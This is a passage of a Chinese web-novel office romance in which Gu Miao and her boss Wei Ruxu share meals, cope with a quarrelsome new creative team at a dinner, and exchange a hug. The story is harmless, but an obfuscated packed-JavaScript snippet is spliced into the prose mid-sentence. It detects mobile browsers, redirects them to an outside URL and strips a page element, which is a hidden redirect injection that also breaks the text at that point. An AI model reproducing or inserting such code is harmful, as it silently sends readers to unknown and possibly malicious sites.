顾妙拎了块黄瓜吃,慢吞吞地说:“我们要学会十八般武艺,完全是生活所迫,还会被嫌弃学艺不精,干啥啥不行。你学会这些,效果就是锦上添花,还会得到各种夸奖,夸你没有骄娇二气,简直就是杰出富二代代言人。” 说罢她叹了口气:“命运就是这么不公平。” 魏如栩笑了笑:“现在杰出富二代代言人正在给你当伙夫,还不够你嘚瑟的?别在这儿贫了,出去等着吃饭吧。” 过了一会儿,简单的两菜一汤就好了。魏如栩不知道从哪里翻出了一张素净的桌布,折了三折做成桌旗垫在餐桌上,然后才摆上饭菜。 “哟,不愧是艺术家,这家常便饭也能让你搞得这么有美感。”顾妙看了,赶紧掏出手机拍照留念,“能吃上老板做的饭,我顾小妙真是三生有幸。” “你那古董机能拍出景深吗?还是用我的吧!”魏如栩摘下围裙,一脸深藏功与名的笑,拿出自己的手机,他瞥了一眼顾妙的取景框,十分嫌弃,“连构图都不会,光线也不对,去去去,我拍了再发给你,别浪费我的心血。” “什么心血,不就是两个小菜嘛,看把你能的!”顾妙不服气,玩命在他镜头前比出各种手势,就是不让他好好拍照。 魏如栩成功定格一张带有她比心手势的照片,微信发给她,坏笑着说:“感谢你的手衬托出我作品的美。” “我的爪子还蛮上镜的嘛!”顾妙放大照片看着,重点妥妥跑偏。 魏如栩在饭桌前坐下,“哼”了一声:“瘦的才配叫爪子,你那顶多是猪蹄。” 顾妙:“……” 这老板真是不能夸,一夸就要上天! 看在他老人家亲自下厨做饭的面子上,我大人不计小人过,不和他一般见识! 魏如栩虽然会做饭,但也不是童话故事里的厨神,毕竟缺乏操练,做得不功不过已经算很好了。 很明显他并没有这样的觉悟,对自己自信得很,完全没有在顾妙面前“献丑”的谦虚感,一边吃一边得意地求夸奖:“我手艺还不错吧!” 顾妙翻了个白眼,默默喝了一口汤,本来她是想多夸夸他的,但一看这货尾巴快翘天上去了,逆反心理在胸口汇流成河,就是不想说个“好”字。 “嗯,还行吧。”她敷衍道。 魏如栩听见这话顿时有点萎靡,他吃着味道还可以,不至于跌份,本以为能换来顾妙的肯定以满足自己的虚荣心,没想到却只有一句“还行”。 小魏总平时不怎么在乎别人怎么评价他,可在顾妙面前,他就想听见“你真棒”三个字。 “是不是不合你的口味?你都爱吃什么菜,回头我研究研究。”魏如栩立刻化身毛绒绒的大狗,情真意切地看着顾妙,眼神有点小可怜。 顾妙被他看得顿时心软了:“不是,挺好吃的。刚刚就是不想让你骄傲。” 魏如栩放了心,露出心满意足的笑容,夹了菜放进她碗里。 “要不今天跟他摊开聊聊?”顾妙默默叹了口气,暗忖着,她看了一眼魏如栩开心的样子,遂又改了主意,“算了,今天气氛这么好,别谈崩了大家都不爽,改天吧。” 一天下来,魏如栩收获了一大堆小狼可爱的照片,还心血来潮地给小狼画了速写,兴致勃勃发了朋友圈,很快换来了顾肖的点赞和留言。 顾肖:“老魏,帮我照顾好小狼,别让我姐祸祸了。” 旁边好不容易写完总结、拿起手机来刷的顾妙:“……” 真是男大不中留。 顾妙瞟了一眼兴奋回复朋友圈各种流言的魏如栩:“哎,你把我弟收了吧。” 魏如栩:“?你最近是要断舍离么?昨天不要猫了,今天连弟弟都不要了?” 顾妙:“……跟你死直男没有共同话题。” “你也真是脑洞清奇。”魏如栩片刻之后反应过来,眨了眨眼,讥讽地说,“构想你老板和你亲弟,这是什么低级趣味?” “我的大脑我做主,管得着么。”顾妙得意地摇头晃脑,看着魏如栩一脸拿她没办法的表情,非常舒爽。 相处愉悦未必全然是好处,它的副作用就是两个人自然而然要一起上班——出发地相同、目的地相同、交通工具相同,避无可避。 魏如栩睡眠质量差,醒得早,洗漱又快,第一次能跟顾妙一起上班他十分兴奋,一大早就来敲顾妙的门:“顾助理,快走啦,迟到要扣奖金!” 顾妙每天起床就像上刑,爬起来之后还要不停给自己做心理建设,才能在上地铁之前把起床气给压下去,不然进了地铁容易点火就着。 此刻她的起床气还没散,魏如栩又跑来催门,稳稳踩在了她的爆点上。因此门开了之后,魏如栩看到的是一张高贵冷艳的脸,眼神中的杀意犹如实质,似乎要变成一把喵喵锤,把他爆锤到地面以下。 魏如栩不由地后退了两步,屈服于本能:“大侠饶命!” 顾妙深呼吸一口气,幽幽地看着他,沉默了几秒钟,才克制住想谋杀老板的冲动,冷冷地说:“等着。” 她拖着沉重的脚步背上包,拎着电脑,以一种慷慨就义的步伐迈出了家门,跟魏如栩赶赴地铁口。 魏如栩觑着她严肃的表情,几次三番想伸手去拎她那看起来十分沉重的电脑包,却有点不太敢,意意思思地跟在她旁边。要不是他长得帅不像坏蛋,恐怕就会有人提醒顾妙,注意一下身边这个小伙子。 此刻的顾妙虽然一脸空白,但内心泪流满面:“谁特娘的喜欢跟老板一起上班,再帅也不行,再喜欢也不行!我的人生需要空间!!!” 挤得像沙丁鱼罐头一样的地铁车厢里,魏如栩伸手抓着上方的铁杆子,垂眼看着近在咫尺的顾妙的侧脸。 见她眉间微蹙着,神情有些难以压抑的焦躁,魏如栩心头划过一阵不安:“我是不是太粘着她了?” 虽然目前这个情形并非出于他的本意,但却在无意当中达成了这种效果。他把这些天发生的事在心底来回过了好多遍,换位思考一番,越发觉得自己确实过分。 没有哪个人愿意在非工作时间见到老板的脸,何况他现在做得这么明显,让顾妙不胡思乱想是不可能的。尴尬的身份和尴尬的情愫合起来就像是一层将人从头罩到脚的不透气薄膜,怎么可能不令人窒息? 于是魏如栩刻意调整了策略,上下班的时候他会找各种借口跟顾妙岔开时间,这几天恰好晚上也都有事,避免了跟顾妙一起回家。几天下来,两人又恢复了以前的状态,只在上班时间见面,即便只是住隔壁,也并没有过多的往来。 顾妙不知道这是小魏总特意为之,只是暗自庆幸老天有眼,把他的日程安排的这么满,也算给了自己喘息的空间。 周三晚上是订好的跟创意B组团建的时间,魏如栩也跟着大家一起耗到了下班时间后的一小时,才让顾妙给苗之钦发消息,示意他们公司楼下见。 他这么做也是站在苗之钦的角度考虑,公司已经人人都知道总经理亲自招了创意B组,几乎快把他们看成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459430|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲兵,很多双眼睛都在盯着他们。魏如栩也一度后悔自己当时太高调,现在后悔也来不及,所以在以后的事情当中尽量避免太招摇。 两人在公司楼下等了二十分钟,才看见苗之钦带着四个组员一脸匆忙地从门口出来,她一脸焦急地冲到魏如栩面前:“抱歉老板,让你久等了。” “没事没事,顾助理,叫车吧。”魏如栩看看苗之钦身后那四个拖拖拉拉、满脸写着不情愿的人,心知恐怕不是苗之钦的锅,是这四位神仙打心眼里不太情愿赴这个约。 新入职场的年轻人或许还没办法对团队这么快产生归属感,加之每个人性格不太一样,硬凑在一起比较尴尬也是必然。魏如栩也明白,如果是自己一上班就要被迫参与社交,他想必也是不大情愿的。 虽说勉强没有幸福,但毕竟他们将来是要在一起合作的,必须要熬过这段磨合期。 魏如栩冲他们笑笑:“看着大家都挺累,咱们今天第一次聚餐,吃完就放你们回去好好休息。” 戚滢滢一听,圆圆的小脸立刻两眼放光:“真的?谢谢老板!我还有文案没……” “咳咳!”苗之钦在旁边适时地咳嗽了一声,戚滢滢顿时闭了嘴,顾妙看到其他三个人的表情十分精彩。 茅笛脸上浮着一层不加掩饰的冷笑,似乎完全不怕别人知道她对戚滢滢有意见。 祝商祺和贺若两名男青年不太方便在公开场合表现出对女同事的不满,他俩对视一眼,眼神中有着隐晦的讥讽,随即又若无其事地移开目光,假装看风景。 场面一时间有点尴尬。 魏如栩会意,笑着看向苗之钦:“最近你们在忙什么项目?” 这纯属没话找话。作为一心想参与业务的总经理,魏如栩对创意B组的项目了解得很清楚。由于他们这一组都是新人,对公司现有客户调性不太熟悉,喻真没有让他们跟进重点客户的案子,只安排了一些互动营销方面的工作,比如写软文和几个品牌的官方微博。 甚至那官方微博也不是品牌官博,而是品牌下面粉丝俱乐部的官方微博。每天茅笛和戚滢滢每人至少要写出二十条的微博来,交到苗之钦那里审核,通过了之后,配上祝商祺和贺若的插图,再放到自动发博软件上。 听起来每天写二十条微博很容易,但真的写起来,挠秃头都不一定写得出来。因为这不能像你写自己微博一样,乱七八糟什么都扯,要符合当前宣传主题,要符合品牌调性,语言要规范……条条框框很多,堪比八股文。 而且当你把围绕主题能写的素材都用光的时候,那真是巧妇难为无米之炊,盯着屏幕简直欲哭无泪。 苗之钦知道魏如栩是努力驱散大家之间尴尬的氛围,也随口陪他演了演。两人有一搭没一搭地随便聊着,顾妙订的商务车就到了。 顾妙安排苗之钦带人先走,她刚刚用别的软件约了另一辆车也很快到了,才跟魏如栩一起坐了上去。 魏如栩坐在车后座上叹了口气:“开始有点理解当皇帝的心理了。” “没人敢跟你说真话的感觉酸爽不?”顾妙别好安全带,笑嘻嘻地怼了他一句。 “我是真心实意想帮他们……”魏如栩有点苦恼,但他也明白,换了自己也未必能做到跟老板无话不谈。 敢不敢说是一回事,说了之后是否能承担后果又是一回事。怕的就是说者无心听者有意,以及隔墙有耳。 有时候本来光明正大的事,传来传去就变了味道。 顾妙看了看他颓丧的样子,忍不住说道:“你也不能怪他们,说不说真话还在其次,主要谁也不想被扣上越级上报的帽子,这样就得罪太多人了。” 魏如栩挠挠头,心里有点羞愧。他私底下用功,看了不少管理类的书,但基本上看五万字能记住一百字就不错,用的时候更是想不起来。 理论要是不能联系实际,这理论就跟墙上的画一样,中看不中用。 “顾助理,你对创意B组的情况是有了解的吧?”魏如栩看向顾妙,“他们不敢直接跟我说,但如果想让我知道的话,应该会有意无意地在你面前提上几句。” “唔,是提过。”顾妙沉默了片刻,直直地看向他,“但你确定要听吗?” 54. 第五十四章 矫枉过正 魏如栩意外地看着顾妙那副严肃的表情,一时间有点茫然。 “很严重吗?”他思考了一下,“为什么我还要‘确定’听不听。” 顾妙犹豫了一下:“我觉得我收集的信息还不太完整,也没想到解决办法,不适合现在就汇报。” “别紧张,就当朋友那样闲聊吧。”魏如栩说,“我也还没到日理万机的程度,不需要你立刻给出可执行的方案来参考。况且就算我听了之后想做调整,也会跟你商量。” “情况倒不至于严重,但我觉得咱们当初招聘的时候就犯了错误。”顾妙沉吟道,“不该把所有的新员工放在同一组里。” 魏如栩一点就透,之前那种看到创意B组就觉得古怪的感觉果然得到了解释。 “大意了!”他倒吸一口凉气,郁闷地扶额,“用脚都能想明白的事,我真是……太着急想证明自己了。” “不想跟你说,也是怕你自责。也怪我当时没有考虑周全。” 魏如栩奇怪地看着她:“这跟你有什么关系?” “一个有经验的总助一定会提醒你这件事。”顾妙掩饰住内心的失落,不带情绪地说,“这并不是多么高深难解的问题,是管理的基本规则。可我连这个都没想到——亏我还是学管理出身的。” “行了,不用在这里批评与自我批评。你是没想到,可HR和创意部那两个脑袋也没想到吗?他们为什么连个屁都没放?连廖玄这个最爱指手画脚的都没说半个‘不’字。”魏如栩沉吟片刻,脸色铁青地说。 顾妙光顾着怪自己,经他一点拨,顿时发现她的心思确实不太够用。 也对,一个成熟的企业,就算暂时失去一个睿智的领导,每个人各司其职,也应该会维持着良性运转,不至于会瘫痪。 这就是即便老魏总突然发病住院、魏如栩丝毫不懂企业管理,嘉栩仍旧能够照常经营的原因。 公司里那么多重要岗位,每个岗位上的人也都经验丰富,正常来说是不会放任总经理犯这么明显的错误,毕竟魏如栩没有拍着桌子坚持非要这样。 现在出现了这个局面,只有一个合理的解释:他们是故意的。 谁都不出声,故意让他犯错,让他出丑,好让他知道自己到底有几斤几两。 顾妙顿时感觉后背发冷。 她起初觉得魏如栩提防廖玄有点疑心过重,认为HR上次故意让她筛选简历,也不过是个无聊的捉弄。现在想来,这些人真的够阴毒,表面上表现得十分恭顺,背地里却挖好坑等着魏如栩去跳。 这又不真的像古代帝王之家,新登基的皇帝经验尚浅,出了问题可以向大臣们问个辅佐不力的罪名。这是现代化企业,落到这样的坑里,魏如栩也只能怪自己没能力、脑子不灵光! 如果幕后的始作俑者是廖玄,无非是希望魏如栩向他低头,将管理大权双手奉上。或者是逼急了魏如栩,不分青红皂白地找他吵一架。到时候廖玄就能一推二五六,顺便向整个公司证明魏如栩没有本事当总经理,让他别打肿脸充胖子。 这一记推手可谓高明。 从公司业务上来看,影响不大,一个创意B组不好用,顶多是给其他两组增加了工作量。至于对四个新人和一个老员工来说,负面影响几乎可以忽略不计,廖玄也未必在乎他们。 但这对魏如栩这样一个迫切想要证明自己的人来说,精神上的碾压就比较可怕了。 人家什么都不用干,你自己就输了,还有什么脸跟人家斗? 魏如栩以为,经历过筛简历的事儿他能够充分提高警惕,没想到起点上就错了。 这矫枉过正的防备心啊,让他自作聪明地摔了一跤。 魏如栩没说话,嘴唇抿成一条直线,眉头紧紧地皱了起来,漆黑的瞳孔蒙上一层薄冰。 顾妙担心地按住他的手腕:“你别太往心里去,我们都没经验,犯错也很正常。” “年轻没经验是犯错的原因。”魏如栩冷冷地说,“不是借口。” “那又怎么样呢?我们就是年轻啊!别因为没有超越自身年龄的阅历和能力而责怪自己,你又没有金手指。”顾妙有点着急,“跟自己较劲是没完的,过刚易折啊老板!” 司机师傅听了这话,从后视镜里看了他们一眼,附和道:“就是啊小伙子,老歌怎么唱来着,‘不经历风雨怎么见彩虹’,要在社会上混,犯错不怕,关键得有抗压力。” 魏如栩垂着眼睛,依旧沉默,顾妙只觉得他的手腕发凉,本能地向下握住他的手掌,却发现他的整只手都是凉的,不由地攥紧了他的手指,想把他暖过来。 “我就觉得双标挺好的。当我想反省自己的时候,条条框框都是道理。”顾妙露出她硬核少女的本色,混不吝地说,“我要是心情不好了,同样的说教一句都不想听,让它们都玩蛋去!天上地下,老娘最大!” 听了这句话,魏如栩一撩眼皮,对上顾妙那张义愤填膺的脸,顿时就被她逗乐了。他反手握住顾妙柔弱无骨的手掌,使劲捏了一下:“顾助理,你也太愣了吧!” “姑娘说得对!行走江湖就是要洒脱,可别自己把自己给困住了,不值当的!”司机师傅自娱自乐地插嘴,“天塌下来当被盖,退一步看,哪有什么解决不了的事儿!” 顾妙冲后视镜里的司机笑了笑,一脸没心没肺的样子。看着她轻松的笑容,魏如栩刚刚堵在心口的那股气莫名消散了。 是啊,有什么解决不了的事儿呢,何况还是这样的小事儿。 刚刚的自己,又狭隘了。 魏如栩轻叹道:“有的时候刻板印象确实有道理……” “但这并不是用来对别人妄下判断的理由。”顾妙飞快地接口道,“你可别想这么多了,难怪你睡眠不好。不知道的还以为你整天忙什么国家大事呢,小心你比顾肖那个未来码农还提前脱发。” “能像你这样,过得这么没心没肺也是种福气!”魏如栩挑挑眉毛,觉得面前这个丫头真是可爱极了,突然有种想把她搂在怀里揉揉脑袋的冲动。 顾妙:“……” 这话也听着不太像夸奖啊。 何况,很多时候并不是真的没心没肺,只不过是把自己爆捶一顿后再跟自己和解而已。 顾妙见把小魏总的毛给捋顺了,心里十分有成就感,此时注意力就落在了被魏如栩攥紧了的那只手上,顿时别扭得像条缠在大树上的藤,暗搓搓地想着该怎么把手自然地抽出来。 魏如栩自然意识到了她的尴尬,装作不经意地松开了她的手,拿起车上自带的矿泉水,拧开盖递给她:“喏,话说多了渴不渴?喝点水吧。” 既然说起了创意B组,顾妙也就不再有所保留,跟他聊了聊自己所听到的关于新员工的一些情况。 祝商祺和贺若还好,因为目前只负责一些微博插画和主题四格漫画绘制,所以倒也没有什么大纰漏。再加上两个人原本就比较熟悉对方,配合起来也有默契,工作的完成度还可以。 茅笛是个才女,对文字的掌控力非常好,表达精准、生动,能把官方微博牢牢框在客户规定的限度内。虽说读上去也没什么意思,但至少客户满意。 这个问题茅笛也跟苗之钦吐槽过,这样的官博内容是你好我好大家好,不功不过,虽说出不了什么问题,但也没什么用处。粉丝的转发、回复和点赞都不多,互动性很差。 这令一向心高气傲的茅笛很有挫败感。 苗之钦让她别在乎这么多细节。要是客户不设限制,让她敞开了写,但追求高互动效果,这又是另一件麻烦事了。反正他们身为乙方,让甲方爸爸满意就行。爸爸们还没提意见,自己何苦找不痛快呢。 最麻烦的是戚滢滢。 这丫头脑洞是大,天马行空,写的微博里有的句子确实挺有意思的,可是总体来说,不太符合产品调性。 比方说他们现在负责的进口汽车品牌,有的车型走的是雍容华贵、低调奢华的路子,有的车型走的是动感时尚、高端先锋的路子,可戚滢滢的文案一水儿的活泼天真,还总是喜欢夹带私货,把她自己的爱好写进去。 把汉服和进口汽车拉在一起,也算她山路十八弯的脑回路能自圆其说。可喜欢汉服的群体和购买进口汽车的群体几乎不重合,这简直就是个无效话题嘛! 于是苗之钦每次无奈地把她写的微博打回去,二十条能留下两三条就不错了。鉴于戚滢滢是新人,苗之钦也不好打压她的积极性,只能苦口婆心地一遍遍跟她强调写微博文案的基本原则。 可戚滢滢再怎么修改都还是老样子,她觉得茅笛写的微博虽然符合要求,但是没意思。自己写的趣味横生,却总是被返工,简直委屈到了极点。 她还有个毛病,抗压力极差,苗之钦说不了她几句,即便语气尽可能委婉,她也能当场掉眼泪。就算不在苗之钦面前哭,也会在工位上默默抹泪。 一来二去,整个创意部和策划部办公区都知道了这个新来的女员工三天一大哭、两天一小哭,搞得苗之钦有口难辩,茅笛则恼羞成怒。 于苗之钦而言,自然是不好为这件事到处解释。以前跟她合作过的同事都知道她是个极好沟通的人,不至于出现屡次把员工弄哭的事。可是这种事情发生的次数多了,大家也难免不去猜想苗之钦是不是升了职人就飘了。 茅笛更窝火,她一来瞧不上戚滢滢的不专业和装可爱,二来原本就为自己写的东西感到不满意,现在戚滢滢居然敢反过头来指责她,她顿时产生了一种被狗屎糊满脸的焦躁。 就算她性格再清高,不愿跟人发生争执,可看到戚滢滢一副擦着眼泪仿佛受了天大委屈的模样,也忍不住黑暗面爆发,明着暗着损她两句。 结果就是戚滢滢哭得更伤心,搞得对桌策划组的妹子看不下去,一个劲儿给她递纸巾,显得他们创意B组非常没有人情味。 就着戚滢滢还哭哭啼啼跟茅笛道歉:“茅笛姐姐,我不是针对你,就是觉得现在咱们的微博从内容到插图都没意思,这样谁会跟咱们互动啊!” 得,一黑黑全组。 要不是知道她脑子里确实没什么东西,只是情商低到令人发指的地步,大家都得以为她是一朵清新脱俗的白莲花了。 这样下来全组人能给她好脸色才叫见鬼呢。大家觉得她名字取得十分贴切,真是“泣嘤嘤”,还给她取了个外号叫“鬼哭娘”。 最烦心的自然是苗之钦,这帮人才来一个多星期,虽然磨得她连出门上班都有心理阴影了,但也不至于这么快就向上级汇报, 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整个聚餐过程中,魏如栩碍于身份,过问工作上的细枝末节也不太合适,就只能跟大家扯人生、梦想、经历这种片儿汤话。 除了顾妙和苗之钦捧捧他的“臭脚”之外,其他几位仙人都像是快死了的菜青虫,戳一下动一动,不戳不动。 这四小只要是情商高愿意配合演戏的,也就不会搞得之前气氛这么别扭。他们四个虽然性格不合,但都十分自我,面对老板也并不会想着要维持什么虚假繁荣,只要自己问心无愧就行。 换句话说,爱谁谁,爷一视同仁。 整顿饭简直吃得让人消化不良,魏如栩时不时地产生了不真切感,几次三番问自己“我是谁”,“我在哪”。 话不投机半句多,很快桌面上出现了分化。魏如栩跟祝商祺、贺若聊起了当代艺术,苗之钦跟茅笛聊着最新看的网文,顾妙也不知道怎么的,跟戚滢滢聊起了汉服。 许是戚滢滢看她穿森系很文艺,极力给她推荐了几款改良汉服,还把自己小店的图片一一展示给她看。最终顾妙骑虎难下,咬牙跟戚滢滢买了一套齐腰襦裙。 把同事关系变成了买卖双方关系,顾妙欲哭无泪。那套衣服并不便宜——戚滢滢声称自己用料都是最好的——顾妙倒也不怀疑她,因为这丫头实在是耿直,如果是装出来的,那演技未免也太好了。而且顾妙也能看出来,她真的很爱汉服文化,并不是想卖货这么市侩。 钱串子顾妙只是心疼钱,衣服倒还是蛮好看,黑色交领上襦配孔雀蓝碎花下裙,配上她高挑的身材,穿起来一定亭亭玉立、清雅隽秀。再怎么说顾妙也当过淘宝店模特……老年装模特也是有要求的好伐?! 比起那天跟孙总的酒局,顾妙觉得今天这顿饭更令人难以忍受,幸亏不到两个小时就结束了,大家各自选择适合的交通工具离开,都想尽快摆脱这被迫社交的阴影。 一听贺若、戚滢滢跟自己同一班地铁,魏如栩和顾妙不约而同地选择了打车,这话脱口而出的时候,俩人还默契地对视了一眼,彼此看见了对方眼底的恐慌,随后便也十分欣慰。 原来我不是一个人在战斗! 说好了不想让公司的人知道他们俩住邻居,于是顾妙打到车以后,假模假式地对魏如栩说:“老板,顺路送你一段吧。” 待魏如栩和顾妙离开,创意B组的人相互敷衍地道了个别,麻溜各回各家了。 坐在出租车里,魏如栩透过车窗回头看了看他们几个冷着脸“决绝挥别”的样子,无奈地摇了摇头:“真难搞。” “知道现在为什么有那么多社交恐惧症了吧?”顾妙咧嘴笑,打趣他,“就是有你这样拉人强行社交的老板。你看今天这尴尬有如实质的场面,心理承受力差一点都扛不住。” 魏如栩没搭理她的讽刺,若有所思:“那戚滢滢也不算抗压能力差啊,我看着还成。” “她才不差。”顾妙有点困,打了个哈欠,“她的抗压力应该是那几个人里面最好的。其他的人太自负,自负反而输不起。戚滢滢这种万事风过耳、半点不留心的人最会调整自己。要不然她爱哭呢,哭就是最好的解压方式。哭完就啥事儿都没有了。” “她倒是解压了,快把别人给吓死了。”一场尴尬饭局暂时转移了魏如栩之前对招人这事儿的注意力,让他戴上一张公司少主的面具跟大家侃侃而谈。 现在虚假繁荣(并不)褪尽,他心里仍旧挂念着如何去纠正这个错误——尤其经过这次聚餐,他觉得这四个人确实不适合放在一起工作。 可想来想去,也没有想到好的解决办法,魏如栩心情再次变得很差,只是他没有说出来。车内灯光阴暗,他脸上的表情也晦暗不明。 顾妙微微一笑,没接他那句话,累了一天感觉身体被掏空,不一会儿她便靠在车窗边睡了过去。 魏如栩也没再出声,他看着她的侧脸,在偶尔照进来的路灯光下显得线条柔和、莹白如玉,心里莫名冒出一个想法:“幸好有你在。” 回到家门口,顾妙疲惫地对魏如栩说:“早点休息,明天还得去爱伴宠物谈事儿,第一次面对客户,一起加油!” 魏如栩盯着她低头开门的样子,突然问道:“我……可以抱你一下吗?” 55. 第五十五章 顾小妙负分滚粗 魏如栩话一出口,就觉得自己再一次唐突了。调整了三天的节奏瞬间碎成渣,他的心一下子提到了喉咙口。 楼道里灯光十分昏暗,顾妙低着头,脸上是大片的阴影。 在她沉默的那几秒钟里,周围安静得近乎真空。魏如栩看不见她的表情,紧张得不由自主屏住呼吸,觉得这一次,他提出的要求近乎无耻。 然后他就听见顾妙笑了。 她促狭地笑着:“看在你今天遭受打击的份上,就给你一个爱的泳抱吧!别上瘾啊,下回收钱,我可不是日行一善的抱抱团。” 顾妙一边说着,一边伸手从呆若木鸡的魏如栩双臂下穿过,搂住了他的腰,脑袋靠在了他的肩膀上。 魏如栩迟疑了两秒,才张开双臂抱住了她,微微低头,脸埋在她颈后的头发中。 此刻的顾妙跟上次喝多了酒时不同,没有那么高的体温,整个人温温润润,像一块柔和的软玉。 抱着她,魏如栩不敢用力,仿佛怀里是什么易碎的绝世珍宝,他感觉自己迅速地被一种亲切而美好的气息包裹了起来。 那是一种温暖到让人想哭的感觉,让他觉得只要站在她身边,自己就是无坚不摧的。 连日来的惶惶不安终于有了确定的答案,魏如栩知道,这次他掉进坑底,恐怕是爬不出来了。 可顾妙伏在他肩上,感觉到他那无声的叹息,顿时心乱如麻。 声控灯忽然熄灭了,整个楼道陷入一片黑暗。在人被剥夺了视觉的一刹那,触觉就变得分外敏锐起来。 她觉得魏如栩的怀抱热得灼人,于是迅速地推开他,低着头转身,面对着自己家门,按下把手:“好了,快回去休息,晚安。” 说话的声音唤醒了声控灯,可她的动作实在太过迅速,因此当光线亮起来时,伴随着关门声,魏如栩面对的只是一扇光秃秃的大铁门。 怀中的珍宝被关进了匣子,他觉得好像有一半的力量被抽走了似的,空空荡荡,无所归依。 魏如栩站在门前迟迟未动,声控灯再一次熄灭了下来。 顾妙抓着包,靠在铁门后面,心脏像被重锤碾压过,跳得没了节奏,耳边尽隆隆不尽的雷声,连呼吸都变得分外急促。 这是自从父母去世之后,她许久未曾体验过的汹涌澎湃的情绪。她渴望,却又害怕。怕自己沉溺,本能想要逃离。 她害怕那种沸反盈天的感觉,总觉得燃烧过后,剩下的只有一地灰烬。 那么令人哀伤。 两个人,隔着门,站了许久。 顾妙终于听到魏如栩回家关门的声音,她高悬着的心才落回了胸腔。 这样下去不行啊,我会沦陷的。她想,真的要跟他好好说说了。 魏如栩没有开灯,呆呆地坐在沙发上。他觉得自己是个混蛋,像是利用身份占了顾妙的便宜。 可是拥抱她的感觉又是那么温暖,就像他的生命中缺失的部分找回来了,他终于变得完整。 他一边自责着,一边快乐着,带着一脸没人能看到的傻笑,在黑暗里坐了好久。 向来睡眠不好的小魏总居然一夜无梦睡到了天亮,他是被敲门声吵醒的,抓起手机一看,是早上七点钟。 魏如栩一边套着T恤一边从卧室里出来,随口问道:“谁啊?” 外面传来顾妙的声音:“叮咚,您的个人助理上线了。” 魏如栩:“……” 大清早的,顾助理抽什么疯? 他打开门,见顾妙手里端着一个大托盘,上面有碟堆成贡品形状的包子和一碟切好的西瓜,旁边还有一碗散发着浓郁豆香豆浆,傻了眼。 “这是……”魏如栩瞠目结舌。 顾妙径直进了他家,把托盘放在餐桌上,回头笑眯眯地看着他:“我做的猪肉大葱馅包子,给你尝尝看。” 魏如栩脸上写满不解,愣愣地瞪着她:“什么时候做的?昨晚累成那样了还有功夫做包子?” 他以为是顾妙晚上回了家弄的,毕竟光发面就挺费时间。可事实上,顾妙同学因为那个震颤了她灵魂的拥抱,一晚上没睡着,半夜四点爬起来和面、发面,然后解冻了一袋肉,在厨房昏暗的灯光下,把案板砸得叮咣乱响剁好了馅——如果用影视剧镜头来表达的话,大概率是人肉叉烧包的拍摄效果。 鼓捣了两个多小时,终于把包子放进蒸笼,顾妙又开始打豆浆,目前端来的就是她这三个小时的劳动成果。但她并不打算把这个过程告诉魏如栩。 一夜没睡的她目前精神极其亢奋,眼冒精光,说话带笑,隐隐透着那么一丝疯狂,答非所问地说:“就突然想起来你还没吃过我做的包子。顾肖最爱吃了,一时兴起做了给你尝尝。哦对了,还有那豆浆,五谷的,多放了点黑豆,对头发好。顾肖喜欢加糖,但我不知道你什么情况,要是你也喜欢甜的就自己加。” 魏如栩走到她跟前,垂下头,细细打量她的脸,见她眼睛卧蚕下两块黑黝黝的印子,皱起了眉头:“没睡好?就为给我做包子?” “两码事。”顾妙摆摆手,不肯承认,随口编了个瞎话,“做梦梦见顾肖,说他军训消耗大,吃的赶不上代谢的,天天饿得嗷嗷叫。” “梦见他饿,你就做包子给我吃?”魏如栩挑起眉,不知道是他没睡醒还是顾妙精神错乱,这脑回路乱得让人有点找不着北。 “昂,你跟顾肖不是哥们儿么。”顾助理看来把“逻辑”二字从字典里挖出来吃了,嘴硬地说,“这叫云吃包。” 神特么云吃包! 魏如栩觉得自己脑子都被她给雷住了,动了动嘴唇,竟然没有找到合适的语言来表达此刻内心谢特到极点的感受。 他扭头看了看托盘上摞成塔状的包子和水果,觉得此情此景,配上两根点燃的白蜡烛,堪称完美。 “内什么,你快去洗漱吧,要不然包子就凉了。”顾妙推了他一把,“别跟顾肖似的,馋起来连牙都不刷。” 可能魏如栩近一个星期健身有了明显效果,顾妙一推并没推动他。他电线杆子一般地杵在她面前,看她的目光十分温柔:“你是不是想顾肖了?从来还没见你几句话里提到他这么多次。” 顾妙冷笑:“呵呵,我想他什么?想他事儿逼,想他欠打?我就是个小姐身子丫鬟命,现在也不缺主子伺候。没了他,不是还有你吗?没了你,还有小狼等着呢。” 说罢她转身就走:“甭浪费时间了,八点出门,你麻利点吧。” 魏如栩目送她的背影,莫名觉得哪里不对。 他好像是被连坐了?可是被什么事儿连坐了呢? 听这意思,顾肖好像也没惹她。梦里的事儿,也犯错误么…… 实在是莫须有啊! 一晚上没见,顾助理就坏掉了么?最近水逆? 顾妙昨晚揣摩半夜,打算好好给魏如栩一个暗示,试图让他明白不管有什么想法都最好打住,再往下发展两个人之间的关系就会变得十分尴尬。 可究竟用什么理由呢? 想来想去,顾妙觉得只要让魏如栩知道,在她心里,撇去老板的那层身份,她只把他当弟弟看,那就行了。 怎么证明呢?她对顾肖怎样,就对魏如栩怎样,不就OK了! 于是,失眠半夜、脑子不太清楚的顾妙爬起来做了这样一锅象征着姐弟情的肉包子,一大早诚意满满地送了过来。 这事儿换了别的女孩,估计会做个甜点啊、酥皮点心啊这种既有美感又好吃,还能衬托出人蕙质兰心气质的食物,拍个照片美图一下发上朋友圈,准能换来一大堆赞,至少也能给被投喂的人留下一个非常美好的印象。 可顾妙呢,孙二娘似地做了一屉包子,搞得像祭品一样端上来,别说美感了,想想还有点瘆得慌。 魏如栩盯着那盘包子,觉得有点下不了嘴。 况且顾妙自己心里解释得通,可事情办出来,只让小魏总领略到了这惊悚的特效,对当中的心路历程毫无察觉,重点妥妥跑偏。 “她一大早起来做东西给我吃,也太贴心了吧?”魏如栩一边洗漱,一边脑补,自以为是地给顾妙的做法找到了合理的解释,“虽然原因有点扯淡,但好像也是关心我——就是死鸭子嘴硬不好意思承认。” 想到这里,小魏总又变得神采飞扬了,心里总结道:“她应该也喜欢我的吧?” 怀着这样激动的心情,魏如栩和顾妙一起出发去地铁站。 